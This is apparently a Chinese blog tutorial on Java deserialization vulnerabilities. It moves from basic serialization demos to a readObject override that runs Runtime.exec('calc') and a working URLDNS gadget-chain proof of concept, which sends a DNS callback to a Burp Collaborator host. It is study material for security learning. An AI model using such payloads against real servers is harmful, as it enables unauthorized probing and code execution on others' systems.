Featured image of post Java反序列化概念与利用

Java反序列化概念与利用

Java反序列化概念与利用

几种创建的序列化和反序列化协议

XML&SOAP JSON Protobuf

虽然原生的序列化和反序列化用的少,但是还是从原生的开始学

序列化实现demo

Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Serialize;

import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

这里一定要调用这个接口Serializable

Serialization.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package Serialize;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

这里我们将代码进行了封装,将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。

Unserialization.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package Serialize;


import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

Serializable 接口的特点

序列化类的属性没有实现 Serializable 那么在序列化就会报错

查看Serializable接口,发现其实是空接口

1
2
public interface Serializable {
}

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),Serializable用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,就会报错

image-20250715151714487

在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。

举个例子

Animal是父类,没有实现Serializable接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package Serialize;

public class Animal {
    private String color;

    public Animal() {//没有无参构造将会报错
        System.out.println("调用 Animal 无参构造");
    }

    public Animal(String color) {
        this.color = color;
        System.out.println("调用 Animal 有 color 参数的构造");
    }

    @Override
    public String toString() {
        return "Animal{" +
                "color='" + color + '\'' +
                '}';
    }
}

然后写一个BlackCat Animal 的子类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Serialize;

import java.io.Serializable;

public class BlackCat extends Animal implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;

    public BlackCat() {
        super();
        System.out.println("调用黑猫的无参构造");
    }

    public BlackCat(String color, String name) {
        super(color);
        this.name = name;
        System.out.println("调用黑猫有 color 参数的构造");
    }

    @Override
    public String toString() {
        return "BlackCat{" +
                "name='" + name + '\'' +super.toString() +'\'' +
                '}';
    }
}

序列化和反序列化测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package Serialize;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SuperMain {
    private static final String FILE_PATH = "./super.bin";

    public static void main(String[] args) throws Exception {
        serializeAnimal();
        deserializeAnimal();
    }

    private static void serializeAnimal() throws Exception {
        BlackCat black = new BlackCat("black", "我是黑猫");
        System.out.println("序列化前:"+black.toString());
        System.out.println("=================开始序列化================");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(black);
        oos.flush();
        oos.close();
    }

    private static void deserializeAnimal() throws Exception {
        System.out.println("=================开始反序列化================");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        BlackCat black = (BlackCat) ois.readObject();
        ois.close();
        System.out.println(black);
    }
}

image-20250715155320940

从上面的执行结果来看,如果要序列化的对象的父类 Animal 没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。

一个实现 Serializable 接口的子类也是可以被序列化的。

静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

transient 标识的对象成员变量不参与序列化

在变量前面加上就不会参与序列化

反序列化产生的安全问题

为什么会产生

跟php的类似,这里原生的序列化用到了writeObjectreadObject方法,我们需要重写这两个,只要服务端反序列化数据,客户端传递类的 readObject 中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  • 入口类的readObject直接调用危险方法

以前下的demo为例子,我们在Person类中重写readObject方法,使得它能够RCE

1
2
3
4
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

这样序列化再反序列化调用readObject方法的时候就会触发弹计算器,不过这种情况一般不会出现

  • 入口类参数中包含可控类,该类含有危险方法,readObject时调用
  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

比如定义类型为Object,调用equals/hashCode/toString这种所有类都有的

  • 构造函数/静态代码块等类加载时隐式执行

产生漏洞的攻击路线

共同条件:继承Serializable

入口类Source (重写readObject 调用常见函数;参数类型广泛 ,可以传入一个类作为参数;最好jdk自带)

调用链gadget chain 相同名称 相同类型

执行类sink (实现最终目的 比如RCE)

HashMap类为例,找入口类

先找到readObject 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
@java.io.Serial
    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.clamp(lf, 0.25f, 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            double dc = Math.ceil(mappings / (double)lf);
            int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (dc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)dc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

最后这里keyvalue执行了readObject,并把值丢到hash函数来

1
2
3
4
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

再跟进就跟到Object类了,满足我们调用常见的函数这一条件。

URLDNS

下面以URLDNS这条链来演示一下

链子可以参考https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1
2
3
4
5
 Gadget Chain:
 *     HashMap.readObject()
 *     HashMap.putVal()
 *     HashMap.hash()
 *     URL.hashCode()

首先找到URL类

1
public final class URL implements java.io.Serializable

继承了Serializable接口,所以可以反序列化

首先查看结构,看到openConnection

1
2
3
public URLConnection openConnection() throws java.io.IOException {
        return handler.openConnection(this);
    }

跟进handler.openConnection方法

1
protected abstract URLConnection openConnection(URL u) throws IOException;

跟进URLConnection类,然后鼠标放上面ctrl+H,查看URLConnection类的层次结构,找到HttpURLConnection

image-20250715202631588

最后发现这里是不能打的,因为openConnection 方法不是常见函数,很难造链子来打

回到上面的链子,我们先找到URL类的hashCode方法

1
2
3
4
5
6
7
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

跟进handler.hashCode方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase(Locale.ROOT).hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

跟进getHostAddress方法

1
2
3
protected InetAddress getHostAddress(URL u) {
        return u.getHostAddress();
    }

再跟

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
synchronized InetAddress getHostAddress() {
        if (hostAddress != null) {
            return hostAddress;
        }

        if (host == null || host.isEmpty()) {
            return null;
        }
        try {
            hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException e) {
            return null;
        }
        return hostAddress;
    }

这里的InetAddress.getByName其实就是获取主机ip,就是进行了一次DNS查询,然后找能触发这个的方法

这个时候想到前面HashMap类中有常见的方法hashCode,而且与这里同名同类型

所以链子如下,习惯跟php一样了,逆着来写链子

1
2
3
4
5
6
InetAddress getByName()
URLStreamHandler getHostAddress()
URLStreamHandler hashCode()
URL hashCode()
HashMap hash()
HashMap readObject()

我们直接开始搓利用代码,这里用burp的collaborator模块来测试

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
        serialize(map);
    }

在前下的测试类里面加上HashMap来测试,但是这里有个问题

我们执行序列化按理来说bp是收不到信息的,应该是执行反序列化才会接收到

但是这里序列化的时候就收到了

image-20250715211951592

跟进HashMapput方法看看怎么回事

1
2
3
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现这里直接跟readObject方法尾部的代码一致,直接调用了hash方法

1
2
3
4
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

所以最后跟hashCode有关

跟到URL类的hashCode方法

1
2
3
4
5
6
7
8
9
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
[...]
private int hashCode = -1;

这里说明hashCode不等于-1的时候是不会进到handler.hashCode,这里虽然初始化为-1,但是我们put传入URL

的时候hashCode并不为-1,从而没能跟前面的HashMap类链起来,导致序列化的时候就触发DNS查询了,这里尝

试反序列化确实bp也是收不到的,因为hashCode不为-1了

这里改进的思路是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        //这里不要发起请求
        map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
        //这里把hashCode改为-1
        //通过反射 改变对象已有的属性
        serialize(map);
    }

这里把完整poc先写再这,后面继续分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        //这里不要发起请求
        URL url = new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,114514);//这里测试一下设置值
        map.put(url,1);
        hashcodefile.set(url,-1);//这里把hashCode改为-1
        //通过反射 改变对象已有的属性
        serialize(map);
    }

这里Java9+版本默认禁止反射访问 JDK 内部 API,也就是会报错

需要在终端开启--add-opens权限,然后才能运行

1
2
javac Serialize/SerializationTest.java
java --add-opens java.base/java.net=ALL-UNNAMED Serialize.SerializationTest

或者用MethodHandles来进行反射操作,但是同样需要终端开启--add-opens权限

然后反序列化这里也需要修改一下来查看HashMap类型的ser.bin

1
2
3
4
public static void main(String[] args) throws Exception{
        HashMap<?, ?> map = (HashMap<?, ?>) unserialize("ser.bin"); // 正确读取 HashMap
        System.out.println(map);
    }
使用 Hugo 构建
主题 StackJimmy 设计